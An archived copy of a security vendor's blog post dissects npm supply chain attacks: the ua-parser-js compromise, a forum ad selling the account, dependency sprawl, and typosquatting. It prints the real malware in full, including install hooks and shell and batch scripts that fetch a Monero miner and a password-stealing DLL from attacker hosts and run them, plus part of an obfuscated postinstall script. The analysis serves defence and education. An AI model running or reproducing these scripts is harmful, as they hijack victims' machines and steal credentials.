123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785 |
- <!doctype html><!-- This is a valid HTML5 document. -->
- <!-- Screen readers, SEO, extensions and so on. -->
- <html lang="fr">
- <!-- Has to be within the first 1024 bytes, hence before the `title` element
- See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset -->
- <meta charset="utf-8">
- <!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 -->
- <!-- The viewport meta is quite crowded and we are responsible for that.
- See: https://codepen.io/tigt/post/meta-viewport-for-2015 -->
- <meta name="viewport" content="width=device-width,initial-scale=1">
- <!-- Required to make a valid HTML5 document. -->
- <title>What’s Really Going On Inside Your node_modules Folder? (archive) — David Larlet</title>
- <meta name="description" content="Publication mise en cache pour en conserver une trace.">
- <!-- That good ol' feed, subscribe :). -->
- <link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/">
- <!-- Generated from https://realfavicongenerator.net/ such a mess. -->
- <link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png">
- <link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png">
- <link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png">
- <link rel="manifest" href="/static/david/icons2/site.webmanifest">
- <link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c">
- <link rel="shortcut icon" href="/static/david/icons2/favicon.ico">
- <meta name="msapplication-TileColor" content="#f7f7f7">
- <meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml">
- <meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)">
- <meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)">
- <!-- Documented, feel free to shoot an email. -->
- <link rel="stylesheet" href="/static/david/css/style_2021-01-20.css">
- <!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. -->
- <link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin>
- <link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin>
- <link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin>
- <link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin>
- <link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin>
- <link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin>
- <script>
- function toggleTheme(themeName) {
- document.documentElement.classList.toggle(
- 'forced-dark',
- themeName === 'dark'
- )
- document.documentElement.classList.toggle(
- 'forced-light',
- themeName === 'light'
- )
- }
- const selectedTheme = localStorage.getItem('theme')
- if (selectedTheme !== 'undefined') {
- toggleTheme(selectedTheme)
- }
- </script>
-
- <meta name="robots" content="noindex, nofollow">
- <meta content="origin-when-cross-origin" name="referrer">
- <!-- Canonical URL for SEO purposes -->
- <link rel="canonical" href="https://socket.dev/blog/inside-node-modules">
-
- <body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all">
-
-
- <article>
- <header>
- <h1>What’s Really Going On Inside Your node_modules Folder?</h1>
- </header>
- <nav>
- <p class="center">
- <a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home">
- <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use>
- </svg> Accueil</a> •
- <a href="https://socket.dev/blog/inside-node-modules" title="Lien vers le contenu original">Source originale</a>
- </p>
- </nav>
- <hr>
- <h2>Let me tell you a story...</h2>
- <p>On January 13, 2012, over ten year ago, a developer named Faisal Salman
- published a new project to GitHub called <code>ua-parser-js</code> and it parsed user agent
- strings. Lots of people found this project useful. Over the next 10 years,
- Faisal continued to develop the package along with help from many open source
- contributors. It eventually grew to 7 million downloads per week and was used by
- nearly 3 million GitHub repositories.</p>
-
- <h2>Now, let me tell you a different story...</h2>
- <p>On October 5th, 2021 on a notorious Russian hacking forum, this post appeared:</p>
- <pre><code class="hljs language-md">I sell a development account on npmjs.com, more than 7 million installations
- every week, more than 1000 others are dependent on this.
-
- There is no 2FA on the account. Login and password access. The password is
- enough to change your email.
-
- Suitable for distributing installations, miners, creating a botnet
-
- Start $10k
- Step $1k
- Blitz $20k
- </code></pre>
- <p>This hacker was offering to sell the password to an npm account that controlled a package with over 7 million weekly downloads. His asking price was $20,000 USD for the password.</p>
- <h2>This is where the two stories intersect</h2>
- <p>Two weeks later, on Friday, October 22, 2021 at 12:15pm GMT, <code>ua-parser-js</code> was compromised. Three malicious versions were published – <code>0.7.29</code>, <code>0.8.0</code>, and <code>1.0.0</code> – which contained malware. The malware was particularly nasty and it caught everyone by surprise.</p>
- <h2>Anatomy of a supply chain attack</h2>
- <p>Let's take a look at what that malware does. This is the <code>package.json</code> file for one of the
- compromised versions:</p>
- <h3><code>package.json</code></h3>
- <pre><code class="hljs language-json">{
- <span class="hljs-attr">"title"</span>: <span class="hljs-string">"UAParser.js"</span>,
- <span class="hljs-attr">"name"</span>: <span class="hljs-string">"ua-parser-js"</span>,
- <span class="hljs-attr">"version"</span>: <span class="hljs-string">"0.7.29"</span>,
- <span class="hljs-attr">"author"</span>: <span class="hljs-string">"Faisal Salman <<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="13755375727a60727f7e727d3d707c7e">[email protected]</a>> (http://faisalman.com)"</span>,
- <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Lightweight JavaScript-based user-agent string parser"</span>,
- <span class="hljs-attr">"main"</span>: <span class="hljs-string">"src/ua-parser.js"</span>,
- <span class="hljs-attr">"scripts"</span>: {
- <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"start /B node preinstall.js & node preinstall.js"</span>,
- <span class="hljs-attr">"build"</span>: <span class="hljs-string">"uglifyjs src/ua-parser.js ..."</span>,
- <span class="hljs-attr">"test"</span>: <span class="hljs-string">"jshint src/ua-parser.js && mocha -R nyan test/test.js"</span>,
- <span class="hljs-attr">"test-ci"</span>: <span class="hljs-string">"jshint src/ua-parser.js && mocha -R spec test/test.js"</span>
- }
- }
- </code></pre>
- <p>You'll see that it uses a pre-install script, so this means that the command <code>start /B node preinstall.js & node preinstall.js</code> will run automatically anytime this package is installed.</p>
- <p>Let's take a look at the <code>preinstall.js</code> script:</p>
- <h3><code>preinstall.js</code></h3>
- <pre><code class="hljs language-js"><span class="hljs-keyword">const</span> { exec } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>)
-
- <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">terminalLinux</span>(<span class="hljs-params"></span>) </span>{
- exec(<span class="hljs-string">'/bin/bash preinstall.sh'</span>, <span class="hljs-function">(<span class="hljs-params">error, stdout, stderr</span>) =></span> {
- <span class="hljs-keyword">if</span> (error) {
- <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`error: <span class="hljs-subst">${error.message}</span>`</span>)
- <span class="hljs-keyword">return</span>
- }
- <span class="hljs-keyword">if</span> (stderr) {
- <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stderr: <span class="hljs-subst">${stderr}</span>`</span>)
- <span class="hljs-keyword">return</span>
- }
- <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stdout: <span class="hljs-subst">${stdout}</span>`</span>)
- })
- }
-
- <span class="hljs-keyword">var</span> opsys = process.platform
- <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'darwin'</span>) {
- opsys = <span class="hljs-string">'MacOS'</span>
- } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'win32'</span> || opsys == <span class="hljs-string">'win64'</span>) {
- opsys = <span class="hljs-string">'Windows'</span>
- <span class="hljs-keyword">const</span> { spawn } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>)
- <span class="hljs-keyword">const</span> bat = spawn(<span class="hljs-string">'cmd.exe'</span>, [<span class="hljs-string">'/c'</span>, <span class="hljs-string">'preinstall.bat'</span>])
- } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'linux'</span>) {
- opsys = <span class="hljs-string">'Linux'</span>
- terminalLinux()
- }
- </code></pre>
- <p>The first thing you'll see is that it runs a different payload depending on the victim's operating system. On Linux, the malware executes <code>preinstall.sh</code>, while on Windoews it executes <code>preinstall.bat</code>. Mac users got lucky – there was no Mac payload. Perhaps the attacker ran out of time to finish the Mac version, or didn't have a Mac to test on?</p>
- <p>Now let's take a look at what <code>preinstall.sh</code> does:</p>
- <h3><code>preinstall.sh</code></h3>
- <pre><code class="hljs language-sh">IP=$(curl -k https://freegeoip.app/xml/ | grep <span class="hljs-string">'RU\|UA\|BY\|KZ'</span>)
- <span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$IP</span>"</span> ]
- <span class="hljs-keyword">then</span>
- var=$(pgrep jsextension)
- <span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$var</span>"</span> ]
- <span class="hljs-keyword">then</span>
- curl http://159.148.186.228/download/jsextension -o jsextension
- <span class="hljs-keyword">if</span> [ ! -f jsextension ]
- <span class="hljs-keyword">then</span>
- wget http://159.148.186.228/download/jsextension -O jsextension
- <span class="hljs-keyword">fi</span>
- chmod +x jsextension
- ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \
- --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
- <span class="hljs-keyword">fi</span>
- <span class="hljs-keyword">fi</span>
- </code></pre>
- <p>The very first line fetches the victim's country code using their IP address. If the victim is from Russia, Ukraine, Belarus, or Kazakhstan, then the malware exits early. Presumably the attacker comes from one of these countries and doesn't want to antagonize their local law enforcement. This is a common technique in malware.</p>
- <p>Next, there's a check using <code>pgrep</code> to see if the malware – a process named <code>jsextension</code> – is already running. If so, then the malware exits early.</p>
- <p>Otherwise, the script proceeds to download a file from an IP address, mark that file as executable, and then run it. Based on these command line flags, the program appears to be a Monero miner. This program will mine the Monero cryptocurrency for the attacker, wasting the victim's CPU cycles and potentially driving up their electricity or cloud hosting bill.</p>
- <p>The payload for Windows users is quite similar, with one extra twist:</p>
- <h3><code>preinstall.bat</code></h3>
- <pre><code class="hljs language-bat">@<span class="hljs-built_in">echo</span> off
- curl http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -o jsextension.exe
- <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe (
- wget http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -O jsextension.exe
- )
- <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe (
- certutil.exe -urlcache -f http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe jsextension.exe
- )
- curl https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -o create.dll
- <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll (
- wget https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -O create.dll
- )
- <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll (
- certutil.exe -urlcache -f https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll create.dll
- )
- <span class="hljs-built_in">set</span> exe_1=jsextension.exe
- <span class="hljs-built_in">set</span> "count_1=<span class="hljs-number">0</span>"
- >tasklist.temp (
- tasklist /NH /FI "IMAGENAME eq <span class="hljs-variable">%exe_1%</span>"
- )
- <span class="hljs-keyword">for</span> /f <span class="hljs-variable">%%x</span> <span class="hljs-keyword">in</span> (tasklist.temp) <span class="hljs-keyword">do</span> (
- <span class="hljs-keyword">if</span> "<span class="hljs-variable">%%x</span>" <span class="hljs-keyword">EQU</span> "<span class="hljs-variable">%exe_1%</span>" <span class="hljs-built_in">set</span> /a count_1+=<span class="hljs-number">1</span>
- )
- <span class="hljs-keyword">if</span> <span class="hljs-variable">%count_1%</span> <span class="hljs-keyword">EQU</span> <span class="hljs-number">0</span> (<span class="hljs-built_in">start</span> /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:<span class="hljs-number">443</span> -u <redacted> \
- --cpu-max-threads-hint=<span class="hljs-number">50</span> --donate-level=<span class="hljs-number">1</span> --background & regsvr32.exe -s create.dll)
- <span class="hljs-built_in">del</span> tasklist.temp
- </code></pre>
- <p>On Windows, the malware not only downloads a Monero miner (<code>jsextension.exe</code>), but it downloads a .DLL file as well.</p>
- <p>After starting the Monero miner, the malware registers the .DLL file by running <code>regsvr32.exe -s create.dll</code>. This .DLL file steals passwords from over 100 different programs on the Windows machine as well as all the passwords in the Windows credential manager.</p>
- <p>Yikes!</p>
- <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>This DLL file steals passwords from over 100 different programs on the Windows
- machine as well as all the passwords in the Windows credential manager</p></aside></div></div>
- <p>This is a really nasty piece of malware. Anyone unlucky enough to run this lost all their passwords and had to do a complete reset of their online accounts – not a fun time!</p>
- <h2>Aftermath</h2>
- <p>The malicious package was available for about four hours. The open source
- community, as well as the maintainer, did quite well at finding and reporting
- the problem to npm who were able to remove it. Despite things going quite well
- by historical standards – 4 hours is a very quick turnaround time – tens of
- thousands of malicious downloads still took place. Even a few minutes is a lot a
- package gets 7 million weekly downloads!</p>
- <p>Anyone who ran <code>npm install ua-parser-js</code> was compromised. Anyone who installed
- a package that depended on <code>ua-parser-js</code> was also compromised, including
- important packages such as <code>react-native</code>. Anyone running <code>npm install</code> without
- a <code>package-lock.json</code> file was compromised. Anyone unlucky enough to update to a
- new version of <code>ua-parser-js</code>, whether manually with <code>npm update</code> or through an
- automated pull request such as from Dependabot, was compromised.</p>
- <h2>Just the tip of the iceberg</h2>
- <p>This is really just the tip of the iceberg. At <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, we've been tracking packages that are <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">removed from npm for security reasons</a>. We've seen over 700 packages removed for security reasons in the last 30 days, and this trend is accelerating.</p>
- <p>Attackers are taking advantage of the open ecosystem and the implicit trust that maintainers have for each other through the liberal contribution policies that have become common in the modern open source era.</p>
- <p>We predict that 2022 will be the "year of software supply chain security" as the
- awareness of this issue has exploded due to several massive software supply
- chain attacks such as SolarWinds as well as near weekly npm attacks in the news.
- It feels like we've reached a breaking point and developers, companies, and
- governments finally seem ready to take action to protect the open source
- ecosystem.</p>
- <p>One question you might ask, though, is...</p>
- <h2>Why is this happening now?</h2>
- <p>I want to start by just pointing out that what we're trying to do here is kind of crazy. We want to:</p>
- <ul>
- <li>Download <strong>code</strong></li>
- <li>from the <strong>internet</strong></li>
- <li>written by <strong>unknown individuals</strong></li>
- <li>that we <strong>haven't read</strong></li>
- <li>that we <strong>execute</strong></li>
- <li>with <strong>full permissions</strong></li>
- <li>on our <strong>laptops and servers</strong></li>
- <li>where we keep our <strong>most important data</strong></li>
- </ul>
- <p>This is what we're doing every day when we use <code>npm install</code>. It's a <em>miracle</em> that this system works – and that it's continued to <em>mostly</em> work for this long!</p>
- <p>It's a testament to the fact that most people are good. But, unfortunately, not
- everyone is is good. And even more unfortunately, even just a small handful of bad actors in the ecosystem can cause massive supply chain attacks that shake our trust in open source code.</p>
- <p>Now let's let's dive into why this is happening now.</p>
- <h2>1. 90% of the lines of code in your app comes from open source</h2>
- <p>We're standing on the shoulders of giants. Open source is the reason we can get
- an app off the ground in hours and days instead of weeks or months. It's the
- reason that we don't need to be an expert in cryptography or timezones or
- network protocols to build a powerful, modern software application.</p>
- <p>It's also the reason why your <code>node_modules</code> folder is one of the heaviest
- objects in the universe.</p>
-
- <h2>2. Lots of transitive dependencies</h2>
- <p>Another reason is that we have lots and lots of transitive dependencies. The way
- that we write software has changed. We use dependencies a lot more liberally.
- Installing even a single dependency often leads to many dozens or hundreds of
- transitive dependencies coming in as well.</p>
- <p>A 2019 paper at USENIX, found that installing an average npm package introduces an implicit trust on 79 third-party packages and 39 maintainers.</p>
- <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Installing an average npm package introduces an implicit trust on 79
- third-party packages and 39 maintainers, creating a surprisingly large attack
- surface</p></aside><p class="css-1ydr9i">– Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel ("Small World with High Risks: A Study of Security Threats in the npm Ecosystem")</p></div></div>
- <p>Here's another way to look at. We created a visualization to show you what the dependency tree of a typical package looks like. Let's look at <code>webpack</code>, which is a dependency present in many JavaScript projects.</p>
- <p>Each gray box represents a package and each purple box represents a file inside a package:</p>
- <h3>Webpack, unpacked</h3>
-
- <p><em>The visualization above is interactive. Drag to rotate. Click to navigate to a package or file.</em></p>
- <p>As you take away each layer of the dependency tree you'll see that you just keep finding more packages nested inside the top-level package, until you eventually get down to the bottom of the tree.</p>
- <p>There are an insane number of files and a lot of packages flying around here.</p>
- <h2>3. No one reads the code</h2>
- <p>Another reason is that no one really reads the code. Of course, there are some people who do, but by-and-large, people don't look at the code that they're executing on their machines.</p>
- <p>One big reason for this is that npm really doesn't make this very easy. If you go to the package page for <code>ua-parser-js</code> and you click on the "Explore" tab, you'll see that you can't even see the files of the package:</p>
-
- <p>So, people have to resort to clicking the GitHub link in the sidebar and going to GitHub and <strong><em>hoping</em></strong> that the code on GitHub matches the code that's on npm, which is not necessarily true. In fact, many of the biggest npm supply chain attacks have taken advantage of this fact.</p>
- <p>The lack of people looking at the code inside of npm packages is also a big reason why, on average, npm malware lingers on the registry for 209 days before it's finally reported and removed.</p>
- <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>On average, a malicious package is available for 209 days before being
- publicly reported</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div>
- <p>When I first read this statistic, I found it hard to believe, but it's been confirmed by further research.</p>
- <p>A 2021 paper at NDSS, a prestigious security conference, also found similar results. Even worse, they found that 20% of malware persist in package managers for over 400 days and have more than 1,000 downloads.</p>
- <div class="css-1f97hpy"><div class="css-f3ylvk"><p class="css-1ydr9i">– Ruian Duan, Omar Alrawi, Ranjita Pai Kasturi, Ryan Elder, Brendan Saltaformaggio, Wenke Lee</p></div></div>
- <p>It's disturbing to realize that npm is filled with landmines that can be set off inadvertently if we make a small typo in one of the many <code>npm install</code> commands we run on a daily basis.</p>
- <h2>4. Popular tools give a false sense of security</h2>
- <p>And the fourth reason is that popular tools give a false sense of security. A
- lot of popular tools – such as Dependabot and Snyk – scan your dependencies for
- known vulnerabilities (CVEs). In 2022, this is no longer sufficient. We can't
- just scan for known vulnerabilities and stop there. And yet that's what the most
- popular supply chain security products do, leaving you vulnerable.</p>
- <p>It can take weeks or months for a vulnerability to be discovered, reported, and detected by tools. That's just not fast enough to stop supply chain attacks.</p>
- <h3>Known vulnerabilities vs. Malware</h3>
- <p>Let's take a second to quickly distinguish between <strong>known vulnerabilities</strong> and
- <strong>malware</strong>, because they're very different.</p>
- <p><strong>Vulnerabilities</strong> are accidentally introduced by maintainers – the good guys. They
- have varying levels of risk and sometimes it's okay to intentionally ship a
- known vulnerability to production if it's low impact. Even if you have
- vulnerabilities in production they may not be discovered or exploited before you
- update to a fixed version. You usually have a bit of time to address these kinds
- of issues.</p>
- <p><strong>Malware</strong>, on the other hand, is quite different. Malware is intentionally
- introduced into a package by an attacker – almost never the maintainer – and it
- will always end badly if you ship malware to production. You don't have a few
- days or weeks to mitigate the issue. You need to really catch it before you
- install it on your laptop or a production server.</p>
- <p>But in today's culture of fast development, a malicious dependency can be
- updated and merged in a very short amount of time, which leads to an increased risk of supply chain
- attacks because the quicker you update your dependencies the fewer eyeballs that
- have had a chance to look at the code.</p>
- <p>Developers need a new approach to detect and to block malicious dependencies.
- But before we get into that, let's look a little deeper into how a supply chain
- attack actually works.</p>
- <h2>How does a supply chain attack actually work?</h2>
- <p>To answer this question, we downloaded every package on npm – 100 GB of metadata and 15 TB of package tarballs. We noticed a few trends in the types of attacks on npm.</p>
- <p>Let's go over the top 6 attack vectors (how the attack gets you to run their code) and attack techniques (what the attack code actually does).</p>
- <h2>1. Typosquatting</h2>
- <p>The most common attack vector is typosquatting.</p>
- <p>Typosquatting is when an attacker publishes a package which has a very similar name to a legitimate and popular package.</p>
- <p>Take these two packages with very similar names, for instance:</p>
- <pre><code class="hljs language-sh">npm install noblox.js-proxied
- npm install noblox.js-proxy
- </code></pre>
- <p>One of these is legitimate and one of these is malware. But which is which? And what if you can't remember and so you just take a guess?</p>
- <p>Hopefully you guessed right:</p>
- <pre><code class="hljs language-sh">npm install noblox.js-proxied (REAL)
- npm install noblox.js-proxy (EVIL)
- </code></pre>
- <p>Let's crack open the malware package <code>noblox.js-proxy</code> and take a look at it's <code>package.json</code>:</p>
- <h3><code>package.json</code></h3>
- <pre><code class="hljs language-js">{
- <span class="hljs-string">"name"</span>: <span class="hljs-string">"noblox.js-proxy"</span>,
- <span class="hljs-string">"version"</span>: <span class="hljs-string">"1.0.5"</span>,
- <span class="hljs-string">"description"</span>: <span class="hljs-string">"A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)"</span>,
- <span class="hljs-string">"main"</span>: <span class="hljs-string">"lib/index.js"</span>,
- <span class="hljs-string">"types"</span>: <span class="hljs-string">"typings/index.d.ts"</span>,
- <span class="hljs-string">"scripts"</span>: {
- <span class="hljs-string">"docs"</span>: <span class="hljs-string">"jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs"</span>,
- <span class="hljs-string">"lint"</span>: <span class="hljs-string">"eslint lib/"</span>,
- <span class="hljs-string">"test"</span>: <span class="hljs-string">"jest"</span>,
- <span class="hljs-string">"postinstall"</span>: <span class="hljs-string">"node postinstall.js"</span>
- },
- <span class="hljs-string">"repository"</span>: {
- <span class="hljs-string">"type"</span>: <span class="hljs-string">"git"</span>,
- <span class="hljs-string">"url"</span>: <span class="hljs-string">"https://github.com/JxySerr1/noblox.js-proxy.git"</span>
- }
- }
- </code></pre>
- <p>Again, you'll notice that it's using an install script – a very common technique that malware uses. If you open up this install script to look at the code, you'll find that the file is heavily
- obfuscated:</p>
- <pre><code class="hljs language-js">(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x249d1f,_0x2b8f5b</span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4c7bcc</span>(<span class="hljs-params">_0xab39a4,_0x4f1570,_0x2f32bf,
- _0x4d98f7,_0x52a9ec</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x52a9ec-<span class="hljs-number">0x379</span>,_0x4d98f7);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0xfe08c3</span>
- (<span class="hljs-params">_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x3d9d3c- -<span class="hljs-number">0x30</span>,
- _0x217de2);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x5dee13</span>(<span class="hljs-params">_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2</span>)
- </span>{<span class="hljs-keyword">return</span> _0x1efa(_0x410ef5- -<span class="hljs-number">0x6c</span>,_0x3daba2);}<span class="hljs-keyword">const</span> _0x40a390=_0x249d1f();
- <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4ebfb2</span>(<span class="hljs-params">_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536</span>)
- </span>{<span class="hljs-keyword">return</span> _0x1efa(_0x180281-<span class="hljs-number">0x29c</span>,_0x29e008);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x1d9570</span>(<span class="hljs-params">_0xcf31ba,_0x24a2a8,
- _0x1361be,_0x2b2b01,_0x2b71bd</span>)
- </span>{<span class="hljs-keyword">return</span> _0x1efa(_0xcf31ba-<span class="hljs-number">0x357</span>,_0x24a2a8);}<span class="hljs-keyword">while</span>(!![]){<span class="hljs-keyword">try</span>{<span class="hljs-keyword">const</span> _0xe15807=
- -<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x718</span>,<span class="hljs-number">0x638</span>,<span class="hljs-string">'12Eh'</span>,<span class="hljs-number">0x6f0</span>,<span class="hljs-number">0x6f6</span>))/(<span class="hljs-number">0x1e27</span>+-<span class="hljs-number">0x2ac</span>+-<span class="hljs-number">0x1b7a</span>)
- +<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x6d5</span>,<span class="hljs-number">0x713</span>,<span class="hljs-number">0x72c</span>,<span class="hljs-string">'JXxJ'</span>,<span class="hljs-number">0x644</span>))/(<span class="hljs-number">0x15</span>*-<span class="hljs-number">0x16e</span>+-<span class="hljs-number">0x19c4</span>+<span class="hljs-number">0x37cc</span>)
- +-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x68d</span>,<span class="hljs-number">0x788</span>,<span class="hljs-number">0x86c</span>,<span class="hljs-string">'JJ[O'</span>,<span class="hljs-number">0x754</span>))/(-<span class="hljs-number">0x89e</span>+<span class="hljs-number">0x2</span>*-<span class="hljs-number">0x928</span>+-<span class="hljs-number">0xb</span>*-<span class="hljs-number">0x273</span>)
- *(-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x64f</span>,<span class="hljs-number">0x62a</span>,<span class="hljs-string">'$53b'</span>,<span class="hljs-number">0x530</span>,<span class="hljs-number">0x55f</span>))/(-<span class="hljs-number">0x2525</span>+<span class="hljs-number">0x7c0</span>+-<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x1d69</span>))
- +-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x7d6</span>,<span class="hljs-number">0x65e</span>,<span class="hljs-number">0x7e5</span>,<span class="hljs-string">'tOk*'</span>,<span class="hljs-number">0x729</span>))/(<span class="hljs-number">0xc7d</span>+<span class="hljs-number">0x7cc</span>*-<span class="hljs-number">0x1</span>+<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x4ac</span>)
- +-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x544</span>,<span class="hljs-number">0x602</span>,<span class="hljs-string">'!qJ9'</span>,<span class="hljs-number">0x565</span>,<span class="hljs-number">0x6c2</span>))/(-<span class="hljs-number">0x120e</span>+<span class="hljs-number">0x1b1</span>*-<span class="hljs-number">0x17</span>+<span class="hljs-number">0x1f7</span>*<span class="hljs-number">0x1d</span>)
- +<span class="hljs-built_in">parseInt</span>(_0xfe08c3(<span class="hljs-number">0x359</span>,<span class="hljs-number">0x28a</span>,<span class="hljs-string">'igej'</span>,<span class="hljs-number">0x404</span>,<span class="hljs-number">0x3e9</span>))/(<span class="hljs-number">0x163</span>*-<span class="hljs-number">0x8</span>+<span class="hljs-number">0x345</span>+<span class="hljs-number">0x192</span>*<span class="hljs-number">0x5</span>)
